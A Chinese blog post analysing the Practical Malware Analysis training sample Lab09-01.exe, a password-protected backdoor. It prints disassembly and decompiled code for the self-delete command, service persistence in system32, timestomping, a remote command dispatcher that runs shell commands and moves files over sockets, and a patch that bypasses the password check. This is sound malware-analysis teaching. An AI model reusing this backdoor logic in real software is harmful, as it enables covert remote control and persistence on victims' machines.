详细分析 本文首发于跳跳糖社区,原文链接: https://tttang.com/archive/1342/
0x00 前言 样本地址:https://github.com/0range-x/Virus-sample/blob/master/Chapter_9L/Lab09-01.exe 是书中的一个案例样本,木马加了启动参数,还有启动密码,尝试分析木马的功能和行为
首先crack掉木马的启动密码,根据不同的启动参数分析木马的不同功能,最终建立socket通信。
0x01 大致浏览 按照惯例,先看下导入表,有很多导入函数
1 2 3 4 5 6 7 8 9 10 11 OpenSCManagerA:建立与服务控制管理器的连接,并打开指定的服务控制管理器数据库 OpenServiceA: 打开一个已存在的服务 ChangeServiceConfigA:更改服务的配置参数 CloseServiceHandle:关闭指向服务控制管理对象的句柄,也可能是指向服务对象的句柄 CreateServiceA:创建服务对象并将其添加到指定的服务控制管理器数据库 RegDeleteValueA:删除注册表中的键值 RegCreateKeyExA:创建指定的注册表项。如果键已经存在,函数将打开它 RegSetValueExA:设置注册表键值的数据和类型 RegOpenKeyExA:打开指定的注册表项 RegQueryValueExA:检索与开放注册表键关联的指定值名称的类型和数据。与RegOpenKeyExA功能类似 DeleteService:从服务控制管理器数据库中删除的指定服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 .text:0040101B call ds:RegOpenKeyExA .text:0040103A call ds:RegQueryValueExA .text:0040104D call ds:CloseHandle .text:004011A8 call ds:RegCreateKeyExA .text:004011D5 call ds:RegSetValueExA .text:004011E6 call ds:CloseHandle .text:00401233 call ds:RegCreateKeyExA .text:0040124D call ds:RegDeleteValueA .text:00401260 call ds:CloseHandle .text:004012AE call ds:RegOpenKeyExA .text:004012DD call ds:RegQueryValueExA .text:004012F9 call ds:CloseHandle .text:004014FC call ds:CreateFileA .text:00401525 call ds:GetFileTime .text:00401560 call ds:CreateFileA .text:00401579 call ds:SetFileTime .text:004015C8 call ds:GetSystemDirectoryA .text:0040165E call ds:WSAStartup .text:00401676 call ds:gethostbyname .text:0040168B call ds:WSACleanup .text:004016A1 call ds:socket .text:004016B4 call ds:WSACleanup .text:004016E2 call ds:htons .text:004016FE call ds:connect .text:0040170F call ds:closesocket .text:0040171E call ds:WSACleanup .text:004017FA call ds:send .text:004018B8 call ds:CreateFileA .text:00401906 call ds:ReadFile .text:00401910 call ds:GetLastError .text:00401A65 call ds:recv .text:00401A84 call ds:WriteFile .text:004020C7 call ds:Sleep .text:004026CC call ds:OpenSCManagerA .text:004026FB call ds:OpenServiceA .text:00402730 call ds:ChangeServiceConfigA .text:00402741 call ds:CloseServiceHandle .text:0040285E call ds:ExpandEnvironmentStringsA .text:00402880 call ds:GetModuleFileNameA .text:004028A1 call ds:CopyFileA .text:00402915 call ds:OpenSCManagerA .text:00402977 call ds:DeleteService .text:00402988 call ds:CloseServiceHandl .text:00405683 call ds:HeapReAlloc .text:00408367 call ebp ; VirtualAllo .text:00408428 call ds:VirtualFree .text:0040843F call ds:HeapFree
ok,大概找一下这些函数的位置,为后面做准备
1 ShellExecuteA: 运行一个外部程序,或者打开一个已注册的文件、打开一个目录、打印文件等等功能,它可以打开电脑内的任何文件,也可以打开URL
下面的函数已经老生常谈了,建立socket通信使用
大概猜测一下,这个程序做了什么呢?创建服务,修改注册表,建立通信,应该是个后门。
0x02 详细分析 前奏 找到main函数
先拖到od里面
emmm?竟然是从403896
开始?再看下调用堆栈,很明显,这里不是程序真正的入口,
直到 403945
处,显示终止,那么回去重新看
在ida中发现它是对main函数的调用
回到od,接着F7,step in -> 单步步入
来到这里,继续F7+F8一步步分析
f7单步进入 403945
这里才是函数的入口
一步步看,F8,step->over,往上看看
前面主要是一些传参,push 字符串入栈
到402AFD
处,对比arg(命令行参数的数量)是否为1,因为我们这里前面并没有指定任何参数,所以这里不跳转,继续执行,并且跳转到401000
处
ok,回到前面402AFD
处继续向下分析
402B08
这里,执行test eax,eax
,检测eax的值是不是0,因为前面 xor eax,eax
后,所以eax是0,这里成功跳转到 402410
因为这个函数比较长,无法完整截图,所以这里贴上代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 .text:00402410 push ebp .text:00402411 mov ebp, esp .text:00402413 sub esp, 208h .text:00402419 push ebx .text:0040241A push esi .text:0040241B push edi .text:0040241C push 104h ; nSize .text:00402421 lea eax, [ebp+Filename] .text:00402427 push eax ; lpFilename .text:00402428 push 0 ; hModule .text:0040242A call ds:GetModuleFileNameA .text:00402430 push 104h ; cchBuffer .text:00402435 lea ecx, [ebp+Filename] .text:0040243B push ecx ; lpszShortPath .text:0040243C lea edx, [ebp+Filename] .text:00402442 push edx ; lpszLongPath .text:00402443 call ds:GetShortPathNameA .text:00402449 mov edi, offset aCDel ; "/c del " .text:0040244E lea edx, [ebp+Parameters] .text:00402454 or ecx, 0FFFFFFFFh .text:00402457 xor eax, eax .text:00402459 repne scasb .text:0040245B not ecx .text:0040245D sub edi, ecx .text:0040245F mov esi, edi .text:00402461 mov eax, ecx .text:00402463 mov edi, edx .text:00402465 shr ecx, 2 .text:00402468 rep movsd .text:0040246A mov ecx, eax .text:0040246C and ecx, 3 .text:0040246F rep movsb .text:00402471 lea edi, [ebp+Filename] .text:00402477 lea edx, [ebp+Parameters] .text:0040247D or ecx, 0FFFFFFFFh .text:00402480 xor eax, eax .text:00402482 repne scasb .text:00402484 not ecx .text:00402486 sub edi, ecx .text:00402488 mov esi, edi .text:0040248A mov ebx, ecx .text:0040248C mov edi, edx .text:0040248E or ecx, 0FFFFFFFFh .text:00402491 xor eax, eax .text:00402493 repne scasb .text:00402495 add edi, 0FFFFFFFFh .text:00402498 mov ecx, ebx .text:0040249A shr ecx, 2 .text:0040249D rep movsd .text:0040249F mov ecx, ebx .text:004024A1 and ecx, 3 .text:004024A4 rep movsb .text:004024A6 mov edi, offset aNul ; " >> NUL" .text:004024AB lea edx, [ebp+Parameters] .text:004024B1 or ecx, 0FFFFFFFFh .text:004024B4 xor eax, eax .text:004024B6 repne scasb .text:004024B8 not ecx .text:004024BA sub edi, ecx .text:004024BC mov esi, edi .text:004024BE mov ebx, ecx .text:004024C0 mov edi, edx .text:004024C2 or ecx, 0FFFFFFFFh .text:004024C5 xor eax, eax .text:004024C7 repne scasb .text:004024C9 add edi, 0FFFFFFFFh .text:004024CC mov ecx, ebx .text:004024CE shr ecx, 2 .text:004024D1 rep movsd .text:004024D3 mov ecx, ebx .text:004024D5 and ecx, 3 .text:004024D8 rep movsb .text:004024DA push 0 ; nShowCmd .text:004024DC push 0 ; lpDirectory .text:004024DE lea eax, [ebp+Parameters] .text:004024E4 push eax ; lpParameters .text:004024E5 push offset File ; "cmd.exe" .text:004024EA push 0 ; lpOperation .text:004024EC push 0 ; hwnd .text:004024EE call ds:ShellExecuteA .text:004024F4 push 0 ; Code .text:004024F6 call _exit .text:004024F6 sub_402410 endp
看到它调用GetModuleFileNameA
获取当前可执行文件的路径,接着调用GetShortPathNameA
函数获取缩写的全路径字符串,构造完整的字符串即/c del path-to-executable >>NUL
,下面调用ShellExecuteA
函数打开cmd命令行,参数是前面构造的字符串,即从硬盘中删除自己。因为在od中已经打开了该文件,当然是删除失败的。
因为filename
在栈空间,载入内存才直到它是什么。
先找到 ebp
寄存器的地址,再减去208h
但是因为我对od使用不熟悉,ebp没有找到有用的东西。™的在ecx中找到了…,其实也可以对应上,调用GetModuleFilenameA
后,filename
会赋值给ecx
,也算是找到了当前路径。
那就可以结合ida中的字符串,拼接一下cmd.exe /c del c:\Users\adninistrator\Desktop\BinaryCollection\Chapter_9L\Lab09-01-cracked.exe>>NUL
即删除自身
命令行选项
地址
行为
-in
0x402600
安装服务
-re
0x402900
卸载服务
-c
0x401070
设置注册表配置键
-cc
0x401280
打印注册表配置键
在main函数中,不难找到几处对__mbscmp
函数的调用,整理下该函数调用的参数
-in 下一步应该是为了让这个程序能正常运行。这里给程序启动添加个参数,使其正常运行。修改注册表的代码路径应该也是可以的,但是修改注册表属于高危操作,很容易产生意外后果,所以这里先添加启动参数试试,这样就满足了402AFD
的cmp,
添加 -in
参数试试,这里为什么添加 -in
参数,可以跳转到 0x03 命令行分析
处
看到还是会跳到 402410
,尝试删除自己,那说明我们添加的参数没起作用啊
在402B2E
处,最后一个命令行参数被传入到 402510
处,这是最后一个参数,因为C程序的main函数只有两个参数: argc和argv,argc是参数的个数,argv是指向命令行参数的一个指针。EAX包含argc,ECX包含argv。在402B23
处,ecx+eax*4-4
这个指针选择命令行参数数组中的最后一个元素,最后在 eax中,并且在函数调用之前push入栈
接着往下,来到402B2E
处,函数调用 402510
在ida中看看,很奇怪,这里没有函数调用,只有一系列算术操作。add/xor/cmp/
,检查输入得到是否是4个字符,如果是的话,跳转到40252D
处,而这里,又开始和字符‘a’进行比较,顺着往下全面分析的话,可以看出它检验输入的字符是不是 abcd
,很明显,这里做了密码校验。到这里就可以猜测,添加了命令行参数仍然跳转的原因,因为做了密码校验。
f5看下反汇编,这里我就直接贴代码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 BOOL __cdecl sub_402510 (int a1) { BOOL result; char v2; char v3; if ( strlen ((const char *)a1) != 4 ) return 0 ; if ( *(_BYTE *)a1 != 97 ) return 0 ; v2 = *(_BYTE *)(a1 + 1 ) - *(_BYTE *)a1; if ( v2 != 1 ) return 0 ; v3 = 99 * v2; if ( v3 == *(char *)(a1 + 2 ) ) result = (char )(v3 + 1 ) == *(char *)(a1 + 3 ); else result = 0 ; return result; }
进入402510
调试
可以看到返回值是0,因为密码校验错误嘛,输入的不是 abcd,
这里直接修改寄存器的返回值,
接着看 在调用GetModuleFileNameA
后,接着调用了splitpath
函数来获取当前文件路径
接着往下,alloca_probe
是在栈空间申请内存的函数,sub_4025B0
我们知道是一个截取文件路径的函数,402632
看来是先取一下system32
目录。
继续续调试,进入 4026cc
,来ida中看
调用OpenSCManagerA
,打开一个服务管理器,创建一个服务,并添加进启动项,并且将自己复制到 %SYSTEMROOT%\\system32\\xxx
,即写进system32目录
要想知道启动的什么服务的话,只能在内存中看,这里很明显,启动的服务是自己
接着在下面调用ChangeServiceConfigA
函数,可以看下它的参数。
接着跳着就跳出了main函数,就shutdown了?? 这里注意到,这些函数只是打开并且安装服务,但是并没有创建服务,因为我们没找到CreateServiceA
函数,按理来说创建服务的话,应该都是有这个函数的。
我们看到ida里是有这个函数的。这里在od中没出现是因为,在调试的过程中,step in很多次,已经创建了该服务,所以od没有进入该函数。
继续看。在40380F
处调用 __mbscmp函数
这是一个选择循环结构,根据__mbscmp函数的匹配结果来决定执行语句
4015B0
处的GetSystemDirectory
,这个函数能取得Windows系统目录(System目录)的完整路径名。在这个目录中,包含了所有必要的系统文件。根据微软的标准,其他定制控件和一些共享组件也可放到这个目录。通常应避免在这个目录里创建文件。在网络环境中,往往需要管理员权限才可对这个目录进行写操作。
这个函数主要是用来修改 复制文件、访问和最后变化的时间戳,来与Kernel32.dll
保持一致。这个修改时间戳来和其他文件保持一致的技术叫timestomping
,网上也有打包好的工具,自己写也很简单。
这里 4011A8
创建注册表项HKLM\SOFTWARE\Microsoft \\xps
,空格是为了让它显示更独特,可以看出是受感染的主机。接着在 4011BE
处,edx寄存器指向 Data缓冲区,用来存储注册表项下 名为Configuration
的键值。但是缓冲区的内容是什么呢?我们在4011BE
处设置断点,然后F9进入执行,查看寄存器EDX的值,就可以看到加载到内存中的字符串。
进入ShellExecuteA
处,删除自身,接着退出程序
-re 传参改为-re继续调试
一步步step in
又是402510
,这里前面已经分析过,是进行密码校验,
go on ,这里有一个402900
,看看
调用了DeleteService
函数,删除指定的服务
可以看出是将自己删除了
继续
后面调用了ExpandEnvironmentStringsA
函数,扩展环境可变字符串,并将其替换为当前用户定义的值,这里就是将该字符串替换为空,
删除自己
接着就结束了,这是re的功能:删除服务并且删除自身文件
-c
这里注意刚刚执行-re的时候已经删除了服务,所以要先执行-in 来安装服务,这里也是找到了前面没发现的CreateServiceA
函数
这里就直接挑关键的分析
一路f7,来到这里就可以确定是目的地了
大概看一看这个函数的功能,发现跳转了4个地址,逐个看看
402cd9
这里应该就是检验输入的字符串是不是-cc,
402ccf
这里判断参数个数是否为7
401070
这里可以看到就是对注册表的操作了
调用RegOpenKeyExA
,尝试打开注册表项 HKLM\SOFTWARE\Microsoft \ \XPS
,
对-c 参数的分析就到这里,可以清楚它的功能是设置注册表项。
-cc
看到它调用的参数,401028
这里。调用RegQueryValueExA
函数,读取配置注册表的键值内容,并且将读取的数值放在缓冲区中,
在od中可以直接查看调用的参数
查询注册表项的配置文件
再来到ida中看细节,单步跟进,这里我浪费了很长时间,一点点看细节没有收获,直接跳到最后看函数返回值
看样子像字符串拼接,和printf类似,跳转到call的地址
f5看下反汇编,看来就是printf输出打印
打印一下试试,果然,不过这些字符串,有域名,其他的看着像端口什么的。
ok,-cc命令的作用就到这里,读取注册表中的项的内容并输出。
无参 又回到了401000
,往下找,跳到 432060
f5反汇编,一直在while循环,但是并没有终止条件。
来到401640
,终于建立网络连接了,但是我机器断网的原因,这里返回false
调用send
函数,传入的参数是buf,即之前获取的注册表配置信息
后面还有个recv
函数,用来接收信息,接着做了一个比较,判断长度是否小于0,如果是,跳转到401CAD
中,否则继续执行,跳转到
跳转到401F10
处,调用了strstr
,用来匹配字符串
401E60
处的伪代码,可以结合上面的分析来总结下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int __cdecl sub_401E60 (char *a1, int a2) { u_short hostshort[2 ]; char name[1024 ]; char *v5; int v6; char *v7; int v8[4 ]; char *v9; char Str[4096 ]; v6 = 4096 ; if ( sub_401420 (name, 1024 ) ) return 1 ; if ( sub_401470 (hostshort) ) return 1 ; if ( sub_401D80 (v8) ) return 1 ; if ( sub_401AF0 (name, hostshort[0 ], (int )v8, Str, (int )&v6) ) return 1 ; v9 = strstr (Str, asc_40C090); if ( !v9 ) return 1 ; v5 = v9; v9 = strstr (v9, asc_40C088); if ( !v9 ) return 1 ; v7 = v9; if ( v9 - v5 + 1 > a2 ) return 1 ; qmemcpy (a1, &v5[strlen (asc_40C090)], v7 - v5 - strlen (asc_40C090)); a1[v7 - v5 - strlen (asc_40C090)] = 0 ; return 0 ; }
主要的功能就是用来获取字符串,如果获取成功,进入40204c
,发现了sleep,upload等字样,f5看下伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 int __cdecl sub_402020 (char *name) { char *v2; char *v3; char *v4; u_short hostshort; FILE *Stream; const char *Command; u_short v8; char *lpFileName; u_short v10; char *v11; const char *String; int v13; char Str1[1024 ]; if ( sub_401E60(Str1, 1024 ) ) return 1 ; if ( !strncmp (Str1, Str2, strlen (Str2)) ) { strtok(Str1, Delimiter); String = strtok(0 , Delimiter); v13 = atoi(String); Sleep(1000 * v13); } else if ( !strncmp (Str1, aUpload, strlen (aUpload)) ) { strtok(Str1, Delimiter); v2 = strtok(0 , Delimiter); v10 = atoi(v2); v11 = strtok(0 , Delimiter); if ( sub_4019E0(name, v10, v11) ) return 1 ; } else if ( !strncmp (Str1, aDownload, strlen (aDownload)) ) { strtok(Str1, Delimiter); v3 = strtok(0 , Delimiter); v8 = atoi(v3); lpFileName = strtok(0 , Delimiter); if ( sub_401870(name, v8, lpFileName) ) return 1 ; } else if ( !strncmp (Str1, aCmd_0, strlen (aCmd_0)) ) { strtok(Str1, Delimiter); v4 = strtok(0 , Delimiter); hostshort = atoi(v4); Command = strtok(0 , asc_40C0A4); Stream = _popen(Command, Mode); if ( !Stream ) return 1 ; if ( sub_401790(name, hostshort, Stream) ) { _pclose(Stream); return 1 ; } _pclose(Stream); } else { strncmp (Str1, aNothing, strlen (aNothing)); } return 0 ; }
几个关键点
命令
地址
字符串命令格式
行为
sleep
402076
sleep secs
sleep
upload
4019e0
upload port filename
通过端口port连接远程主机并读取内容,然后在本地创建filename文件
download
401870
download port filename
读取文件filename并且通过端口port发送到远程主机
cmd
402268
cmd port command
用cmd命令行运行shell命令,通过端口将输出发送到远程主机
nothing
402356
nothing
无操作
很明显,这里实现了后门的功能。但是还有一点,upload
和download
的功能好像与名称相反emm???还是不要纠结名字了吧。
跳转到401b35
,出现了get请求,http协议,请求http://www.practicalmalwareanalysis.com
的80端口。
另一种crack密码abcd姿势 另一种修改的方法。
先反汇编下指令。直接填充
1 2 B8 01 00 00 00 mov eax,0x1 C3 ret
由于call指令准备堆栈,而RET指令负责清理栈,我们可以覆盖密码检查函数的开头指令 402510
处。
编辑下二进制文件,binary,edit。
因为我们想在原来只占1字节的空间写入6个字节的指令,所以这里不选保持大小,
修改成功后
右键复制到可执行文件,全部复制
检查下函数是否被成功禁用,使用命令参数-in重新调试。在402510
处bypass,最后跳转到 402B3F
。六条指令后,指向第一个命令行的参数的指针被push入栈,紧接着指向另外字符串(-in)的一个指针。
0x03 总结 这个样本大致功能就可以看出,反向连接远程服务器,实现后门。其中几个命令行参数,安装/配置/删除等等,需要首先crack密码“abcd”。在程序运行时,首先将自己复制到 system32
目录,创建服务并自启,然后删除自己。安装后,该程序会读取注册表的配置信息,get请求远程服务,通过socket套接字,建立连接。
反思: 这篇文章到了后面逻辑显得不是那么清晰,看出对od和ida的熟练度有待提高。希望下篇文章可以进步更多。
Peace.